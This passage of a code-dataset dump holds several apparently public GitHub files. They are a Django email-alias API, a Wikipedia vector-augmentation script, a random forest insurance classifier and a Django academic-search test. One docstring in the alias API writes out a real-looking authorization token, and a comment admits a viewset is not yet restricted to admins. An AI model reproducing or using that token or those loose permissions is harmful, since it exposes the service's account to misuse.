API_ENDPOINT:api/v1/alias/\n Json raw body \n ---------------\n Auth will be header with key Authorization : Token a85efc83ccb629878a4d6d15e1fc1ffb51136da9\n {\n \"name\": \"432\",\n \"recipients\": \"random@email.com\",\n \"is_enabled\": true\n }\n ---------------\n \"\"\"\n if (request.method == 'GET'):\n res = request_get_util(domain=DOMAIN)\n data = []\n for x in res.json():\n respose_dict = {\"name\": x[\"name\"],\n \"domain\": x[\"domain\"][\"name\"],\n \"id\": x[\"id\"],\n \"recipients\": [x[\"recipients\"]],\n \"is_enabled\": True}\n data.append(respose_dict)\n return HttpResponse(json.dumps(data))\n elif (request.method == 'POST'):\n data_received = json.loads(request.body)\n blank = {\n \"name\": data_received[\"name\"],\n \"recipients\": data_received[\"recipients\"],\n \"is_enabled\": data_received[\"is_enabled\"]\n }\n print(data_received)\n res = request_get_util(domain=DOMAIN, payload=blank)\n return JsonResponse(res.json(), safe=False)\n\n\ndef create_alias(request, DOMAIN):\n \"\"\"\n Returns a POST request\n ENDPOINT : https://api.forwardemail.net/v1/domains/hideaddress.net/aliases\n \"\"\"\n res = request_get_util(domain=DOMAIN)\n if res.status_code == 200:\n print(\"addedd the alias\")\n\n return JsonResponse(res.json())\n # If succesfull add the Alias to Database as well\n\n\n@csrf_exempt\n@api_view(['DELETE'])\n@permission_classes([IsAuthenticated])\ndef delete_alias(request, DOMAIN, ID):\n \"\"\"\n Delete Alias based on ID\n ENDPOINT : /api/v1/alias/:domain/:id\n \"\"\"\n FORWARD_EMAIL_ENDPOINT = f\"https://api.forwardemail.net/v1/domains/{DOMAIN}/aliases/{ID}\"\n res = requests.delete(FORWARD_EMAIL_ENDPOINT, auth=(USERNAME, ''))\n if res.status_code == 200:\n print(\"Deleted\")\n return JsonResponse(res.json())\n\n\n# This is a DRF class which will do POST, GET, FETCH, PATCH on our Alias Model all without adding anything\n# Pretty powerfull imo though kinda abstracts everything bit too much\n# Keeping this for reference\n# Note: should set permission to admin only later\n# ENDPOINT: api/v1/users -> will return all the aliases if GET is used\nclass AliasesViewSet(viewsets.ModelViewSet):\n serializer_class = AliasesSerializers\n\n def get_queryset(self):\n \"\"\"Function only for Admin purposes\"\"\"\n return Aliases.objects.all()\n\n\n\n\n# ClassView for getting token and email togehter\n# ENDPOINT: http://0.0.0.0:8000/api/v1/auth/users/token/email/\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\n\n\nclass TokenObtainView(ObtainAuthToken):\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data,\n context={'request': request})\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n custom_response = {\n 'token': token.key,\n 'user_id': user.email\n }\n return JsonResponse(custom_response)", "repo_name": "MLH-Sprint-2/MailSafe-api", "sub_path": "app/api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.environ.get", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 26, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 35, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 53, "usage_type": "call"}, {"api_name": "models.Aliases.objects.filter", "line_number": 56, "usage_type": "call"}, {"api_name": "models.Aliases.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "models.Aliases", "line_number": 56, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 39, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 39, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 74, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 67, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 67, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 104, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 104, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 106, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 114, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 78, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 79, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 79, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 126, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 139, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 142, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 130, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 131, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 132, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 132, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 150, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 150, "usage_type": "name"}, {"api_name": "serializers.AliasesSerializers", "line_number": 151, "usage_type": "name"}, {"api_name": "models.Aliases.objects.all", "line_number": 155, "usage_type": "call"}, {"api_name": "models.Aliases.objects", "line_number": 155, "usage_type": "attribute"}, {"api_name": "models.Aliases", "line_number": 155, "usage_type": "name"}, {"api_name": "rest_framework.authtoken.views.ObtainAuthToken", "line_number": 166, "usage_type": "name"}, {"api_name": "rest_framework.authtoken.models.Token.objects.get_or_create", "line_number": 172, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.models.Token.objects", "line_number": 172, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.models.Token", "line_number": 172, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 177, "usage_type": "call"}]} +{"seq_id": "32033563329", "text": "\"\"\"\nGiven a list of vector representations of Wikipedia articles,\noutput an augmented dataframe.\n\nIf input method is \"label\", return a combined matrix\nthat contains article vectors and label svd vectors.\n\nIf input method is \"cluster\", return a combined matrix\nthat contains article vectors and cluster vectors.\n\nIf input method is \"all\", return a combined matrix\nthat contains article vectors, cluster vectors, and cluster vectors.\n\nAuthor: Lily Irvin, Jonathan Scott, Lu, Li\n\"\"\"\n\nimport pandas as pd\nimport argparse\nimport numpy as np\nimport sys\nfrom scipy.sparse import csc_matrix, csr_matrix\nfrom scipy.sparse.linalg import svds\n\n\ndef create_label_matrix(label_matrix):\n \"\"\"Creates a matrix that contains a article ids and label ids.\"\"\"\n output_matrix = csr_matrix((max(label_matrix['article_id'])+1, max(label_matrix['label_id'])+1), dtype=np.int8).toarray()\n for row in label_matrix.itertuples():\n current_article = row.article_id\n output_matrix[current_article][row.label_id] = 1\n output_matrix = pd.DataFrame(output_matrix)\n output_matrix.index.name = 'article_id'\n return output_matrix\n\n\ndef get_label_svd(article_vectors, art_labels):\n label_wide_matrix = csc_matrix(create_label_matrix(art_labels).values, dtype=float)\n lp_mat_reduced, s, vt = svds(label_wide_matrix, k=10)\n reduce_vec_labels = ['svd_'+str(i) for i in range(lp_mat_reduced.shape[1])]\n label_svd = pd.DataFrame({}, columns=['article_id']+reduce_vec_labels)\n for i in range(len(article_vectors)):\n label_svd.loc[i, 'article_id'] = article_vectors.loc[i, 'article_id']\n label_svd.iloc[i, 1:] = lp_mat_reduced[i, :]\n return label_svd\n\n\ndef get_cluster_matrix(cluster_csv):\n num_of_countries = len(cluster_csv['country'].unique())\n cluster_csv = cluster_csv[cluster_csv['country'] != -1]\n cluster_matrix = np.zeros((cluster_csv.shape[0], num_of_countries + 1))\n for i in range(len(cluster_csv['article_id'])):\n cluster_matrix[i][0] = cluster_csv.loc[i, 'article_id'] # assign the first column to be article ids\n country = cluster_csv.loc[i, 'country']\n cluster_matrix[i][country+1] = 1\n country_labels = ['country_' + str(i) for i in range(num_of_countries)]\n cluster_matrix_df = pd.DataFrame(cluster_matrix, columns=['article_id'] + country_labels)\n return cluster_matrix_df\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Augment the original article vectors with label matrix or '\n 'cluster matrix.')\n parser.add_argument('--experiment', required=True)\n parser.add_argument('--vectors', required=True)\n parser.add_argument('--label_vectors', required=True)\n parser.add_argument('--method', required=True)\n parser.add_argument('--cluster_vectors', required=False)\n parser.add_argument('--output_file', required=True)\n\n args = parser.parse_args()\n\n article_vectors = pd.read_csv(args.vectors)\n label_csv = pd.read_csv(args.label_vectors)\n label_vectors = get_label_svd(article_vectors, label_csv)\n\n if args.method == 'label':\n cluster_df = pd.merge(article_vectors, label_vectors, on='article_id')\n elif args.method == 'cluster':\n cluster_csv = pd.read_csv(args.cluster_vectors)\n cluster_vectors = get_cluster_matrix(cluster_csv)\n cluster_df = pd.merge(cluster_vectors, article_vectors, on='article_id')\n elif args.method == 'all':\n cluster_csv = pd.read_csv(args.cluster_vectors)\n cluster_vectors = get_cluster_matrix(cluster_csv)\n cluster_df_with_cluster = pd.merge(cluster_vectors, article_vectors, on='article_id')\n cluster_df = pd.merge(cluster_df_with_cluster, label_vectors, on='article_id')\n else:\n sys.stderr.write(\"Unkonwn clustering method: %s\\n\" + args.clustering)\n sys.exit(1)\n cluster_df.to_csv('%s/%s' % (args.experiment, args.output_file), index=False)\n\n\n\n", "repo_name": "shilad/cartograph-alg", "sub_path": "old/cartograph/vector_augmenter.py", "file_name": "vector_augmenter.py", "file_ext": "py", "file_size_in_byte": 3946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "scipy.sparse.csr_matrix", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.sparse.csc_matrix", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg.svds", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 83, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 88, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 88, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 89, "usage_type": "call"}]} +{"seq_id": "37926247738", "text": "##################\n# Bibliothèques :#\n ################# \nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import OneHotEncoder ,LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom joblib import dump, load\nfrom sklearn.pipeline import make_pipeline\nimport pandas as pd\nfrom sklearn.compose import make_column_transformer\nfrom sklearn.preprocessing import MinMaxScaler\n\n\n#########################\n# Importer les données :#\n ########################\ndonnees = pd.read_excel(\"C:/Users/HP/Desktop/AssuranceData.xlsx\")\ndonnees.head() # ou donnees[0:5]\n#donnees.info() # pour savoir plusieurs informations sur notre \n\n\n##########################################################\n# Extraire les attributs avec des valeurs non numériques :#\n###########################################################\nType_Dassurance=donnees.values[:,4] # comme ça on aura des arrays dont on peut appliquer les fonctions de numpy\nType_Dassurance=Type_Dassurance.reshape(len(Type_Dassurance),1)\n\nJob=donnees.values[:,5]\nJob=Job.reshape(len(Job),1)\n\nSituation_Familiale=donnees.values[:,6]\nSituation_Familiale=Situation_Familiale.reshape(len(Situation_Familiale),1)\n\n\n#print (type(Type_Dassurance))\n#print(Type_Dassurance)\n\n\n\n###############################################\n# Ecodage Binaire des données non numériques :#\n###############################################\n\n\n# 1 : Type_Dassurance\nonehot_encoder_Type_Dassurance = OneHotEncoder(sparse=False) \nonehot_encoded_Type_Dassurance = onehot_encoder_Type_Dassurance.fit_transform(Type_Dassurance)\n#print(onehot_encoded_Type_Dassurance)\n\n\n#2 : Job\nonehot_encoder_Job = OneHotEncoder(sparse=False)\nonehot_encoded_Job = onehot_encoder_Job.fit_transform(Job)\n#print(onehot_encoded_Job)\n\n\n# 3 : Situation_Familiale\nonehot_encoder_Situation_Familiale = OneHotEncoder(sparse=False)\nonehot_encoded_Situation_Familiale = onehot_encoder_Situation_Familiale.fit_transform(Situation_Familiale)\n#print(onehot_encoded_Situation_Familiale)\n\n\n# 4 : Client ou pas (encodage entier):\nClient_ou_pas=donnees.values[:,-1]\nTagrget= LabelEncoder()\ninteger_encoded_Target = Tagrget.fit_transform(Client_ou_pas)\ninteger_encoded_Target = integer_encoded_Target.reshape(len(integer_encoded_Target), 1)\n#print(integer_encoded_Target)\n\n\n\n\n#######################################################################\n# Reconstruire le tableau de données qu'avec des features numériques :#\n#######################################################################\n\n#Target=donnees.values[:,-1].reshape(len(donnees.values[:,-1]),1)\nFeatures=np.hstack((donnees.values[:,0:4],onehot_encoded_Type_Dassurance,onehot_encoded_Job,onehot_encoded_Situation_Familiale)) # merge des données transférer et la dernière colonne\n\n\n\n#########################################\n##### creation de modèle de préduction :#\n#########################################\nx_train, x_test, y_train, y_test = train_test_split(Features,integer_encoded_Target,test_size=0.25,random_state=42)\n\nmodele_rf = RandomForestClassifier(n_estimators=100,criterion='gini',max_depth=None,min_samples_split=2,min_samples_leaf=1,min_weight_fraction_leaf=0.0,max_features='auto',max_leaf_nodes=None,min_impurity_decrease=0.0,bootstrap=True,oob_score=False,n_jobs=None,random_state=None,verbose=0,warm_start=False,class_weight=None,ccp_alpha=0.0,max_samples=None)\nmodele_rf.fit(x_train, y_train)\n\n\n#tester le modèle :\nprint(\"test score :\",modele_rf.score(x_test,y_test) ) # le résultat était 0.66666666 %\n\n\n\n##############################################################\n##### Intégrer la procédure dans un pipeline et l'utiliser. :#\n##############################################################\nX=donnees.iloc[:,0:-1]\nY=donnees.iloc[:,-1]\nx_train, x_test, y_train, y_test = train_test_split(X,Y,test_size=0.25,random_state=42)\n\nfeatures_qualitatives=x_train.iloc[:,4:7].columns\nfeatures_quantitatives=x_train.iloc[:,0:4].columns\n\n#Pipeline :\n\npipeline_1=make_pipeline(MinMaxScaler())\npipeline_2=make_pipeline(OneHotEncoder(sparse=False))\npipeline_3=make_pipeline(LabelEncoder())\npreprocessor=make_column_transformer((pipeline_1,features_quantitatives),(pipeline_2,features_qualitatives)) #,(pipeline_3,y_train)\nmodel=make_pipeline(preprocessor,modele_rf)\nmodel.fit(x_train,y_train)\nmodel.score(x_test,y_test)\n\n\n\n\ndump(model,\"C:/Users/HP/Desktop/dossier_assur2.joblib\")\nNotre_model=load(\"C:/Users/HP/Desktop/dossier_assur2.joblib\")\ntest=pd.read_excel(\"C:/Users/HP/Desktop/Classeur3.xlsx\")\nNotre_model.predict(test)\n\n", "repo_name": "Marzakbrahim/random-forest", "sub_path": "Random_Forest.py", "file_name": "Random_Forest.py", "file_ext": "py", "file_size_in_byte": 4576, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_excel", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 87, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 103, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 111, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 111, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.compose.make_column_transformer", "line_number": 113, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 114, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 121, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 123, "usage_type": "call"}]} +{"seq_id": "16626392013", "text": "from django.test import TestCase\nfrom app.models import (\n User,\n NaturalPerson,\n AcademicTag,\n AcademicEntry,\n AcademicTagEntry,\n AcademicTextEntry, \n)\nfrom app.academic_utils import get_search_results\n\n\nclass GetSearchAcademicTestCase(TestCase):\n @classmethod\n def setUpTestData(cls):\n u1 = User.objects.create_user(\"11\", \"1\", password=\"111\")\n u2 = User.objects.create_user(\"22\", \"2\", password=\"222\")\n u3 = User.objects.create_user(\"33\", \"1\", password=\"333\")\n \n NaturalPerson.objects.create(person_id=u1, name=\"1\", stu_grade=\"2018\")\n NaturalPerson.objects.create(person_id=u2, name=\"2\", stu_grade=\"2018\")\n NaturalPerson.objects.create(person_id=u3, name=\"3\", stu_grade=\"2019\")\n\n AcademicTag.objects.create(atype=AcademicTag.Type.MAJOR, tag_content=\"数学\")\n AcademicTag.objects.create(atype=AcademicTag.Type.MAJOR, tag_content=\"物理\")\n AcademicTag.objects.create(atype=AcademicTag.Type.MAJOR, tag_content=\"中文\")\n AcademicTag.objects.create(atype=AcademicTag.Type.MINOR, tag_content=\"数学\")\n AcademicTag.objects.create(atype=AcademicTag.Type.MINOR, tag_content=\"物理\")\n AcademicTag.objects.create(atype=AcademicTag.Type.MINOR, tag_content=\"中文\")\n AcademicTag.objects.create(atype=AcademicTag.Type.DOUBLE_DEGREE, tag_content=\"数学\")\n AcademicTag.objects.create(atype=AcademicTag.Type.DOUBLE_DEGREE, tag_content=\"物理\")\n AcademicTag.objects.create(atype=AcademicTag.Type.DOUBLE_DEGREE, tag_content=\"中文\")\n \n AcademicTagEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"1\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n tag=AcademicTag.objects.get(\n atype=AcademicTag.Type.MAJOR, \n tag_content=\"数学\",\n ))\n AcademicTagEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"1\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n tag=AcademicTag.objects.get(\n atype=AcademicTag.Type.MINOR, \n tag_content=\"中文\",\n ))\n AcademicTagEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"2\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n tag=AcademicTag.objects.get(\n atype=AcademicTag.Type.MAJOR, \n tag_content=\"物理\",\n ))\n AcademicTagEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"2\"),\n status=AcademicEntry.EntryStatus.PRIVATE,\n tag=AcademicTag.objects.get(\n atype=AcademicTag.Type.DOUBLE_DEGREE, \n tag_content=\"数学\",\n ))\n AcademicTagEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"3\"),\n status=AcademicEntry.EntryStatus.PRIVATE,\n tag=AcademicTag.objects.get(\n atype=AcademicTag.Type.MAJOR, \n tag_content=\"中文\",\n ))\n AcademicTagEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"3\"),\n status=AcademicEntry.EntryStatus.PRIVATE,\n tag=AcademicTag.objects.get(\n atype=AcademicTag.Type.MINOR,\n tag_content=\"物理\",\n ))\n \n AcademicTextEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"1\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n atype=AcademicTextEntry.Type.INTERNSHIP,\n content=\"数学物理方法qwq\",\n )\n AcademicTextEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"1\"),\n status=AcademicEntry.EntryStatus.PRIVATE,\n atype=AcademicTextEntry.Type.SCIENTIFIC_RESEARCH,\n content=\"浩浩中文，卷帙浩繁。\",\n )\n AcademicTextEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"2\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n atype=AcademicTextEntry.Type.SCIENTIFIC_RESEARCH,\n content=\"数学分析123456789\",\n )\n AcademicTextEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"2\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n atype=AcademicTextEntry.Type.SCIENTIFIC_RESEARCH,\n content=\"物理物理物理物理物理11111111的\",\n )\n AcademicTextEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"3\"),\n status=AcademicEntry.EntryStatus.PRIVATE,\n atype=AcademicTextEntry.Type.INTERNSHIP,\n content=\"中文实习\",\n )\n AcademicTextEntry.objects.create(\n person=NaturalPerson.objects.get(name=\"3\"),\n status=AcademicEntry.EntryStatus.PUBLIC,\n atype=AcademicTextEntry.Type.CHALLENGE_CUP,\n content=\"离散数学的原理是非常美妙的\",\n )\n\n def test_models(self):\n self.assertEqual(len(NaturalPerson.objects.all().values()), 3)\n self.assertEqual(len(AcademicTag.objects.all().values()), 9)\n self.assertEqual(len(AcademicTag.objects.filter(\n atype=AcademicTag.Type.DOUBLE_DEGREE\n ).values()), 3)\n self.assertEqual(len(AcademicTagEntry.objects.all().values()), 6)\n self.assertEqual(len(AcademicTagEntry.objects.filter(\n status=AcademicEntry.EntryStatus.PUBLIC\n ).values()), 3)\n self.assertEqual(len(AcademicTextEntry.objects.all().values()), 6)\n self.assertEqual(len(AcademicTextEntry.objects.filter(\n status=AcademicEntry.EntryStatus.PRIVATE\n ).values()), 2)\n\n def test_results_num(self):\n ...\n # self.assertEqual(len(get_search_results(\"数学\")), 3)\n # self.assertEqual(len(get_search_results(\"物理\")), 2)\n # self.assertEqual(len(get_search_results(\"中文\")), 1)\n # self.assertEqual(len(get_search_results(\"1\")), 1)\n # self.assertEqual(len(get_search_results(\"Q\")), 1)\n # self.assertEqual(len(get_search_results(\"理\")), 3)\n \n def test_results_type(self):\n ...\n # result_chinese = get_search_results(\"中文\")\n # self.assertEqual(\"辅修专业\" in result_chinese[0], True)\n # results_physics = get_search_results(\"物理\")\n # for result in results_physics:\n # if result[\"姓名\"] == \"1\":\n # self.assertEqual(\"实习经历\" in result, True)\n # else:\n # self.assertEqual(\"主修专业\" in result, True)\n # self.assertEqual(\"本科生科研\" in result, True)\n \n def test_results_entry(self):\n ...\n # result_1 = get_search_results(\"1\")\n # self.assertEqual(len(result_1[0].keys()), 3)\n # self.assertEqual(len(result_1[0][\"本科生科研\"]), 2)\n # results_de = get_search_results(\"的\")\n # for result in results_de:\n # if result[\"姓名\"] == \"2\":\n # self.assertEqual(result[\"年级\"], \"2018\")\n # self.assertEqual(type(result[\"本科生科研\"]), list)\n # self.assertEqual(result[\"本科生科研\"][0], \"物理物理物理物理物理11111111的\")\n # else:\n # self.assertEqual(result[\"年级\"], \"2019\")\n # self.assertEqual(result[\"挑战杯\"], [\"离散数学的原理是非常美妙的\",]) \n", "repo_name": "Yuanpei-Intelligence/YPPF", "sub_path": "app/test/test_search_academic.py", "file_name": "test_search_academic.py", "file_ext": "py", "file_size_in_byte": 7425, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.test.TestCase", "line_number": 13, "usage_type": "name"}, {"api_name": "app.models.User.objects.create_user", "line_number": 16, "usage_type": "call"}, {"api_name": "app.models.User.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "app.models.User.objects.create_user", "line_number": 17, "usage_type": "call"}, {"api_name": "app.models.User.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 17, "usage_type": "name"}, {"api_name": "app.models.User.objects.create_user", "line_number": 18, "usage_type": "call"}, {"api_name": "app.models.User.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 18, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.create", "line_number": 20, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 20, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.create", "line_number": 21, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 21, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.create", "line_number": 22, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 22, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 24, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 24, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 25, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 25, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 26, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 26, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 27, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 27, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 28, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 28, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 29, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 29, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 29, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 30, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 30, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 30, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 31, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 31, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag.objects.create", "line_number": 32, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 32, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry.objects.create", "line_number": 34, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 34, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 35, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 35, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 36, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 36, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.get", "line_number": 37, "usage_type": "call"}, {"api_name": 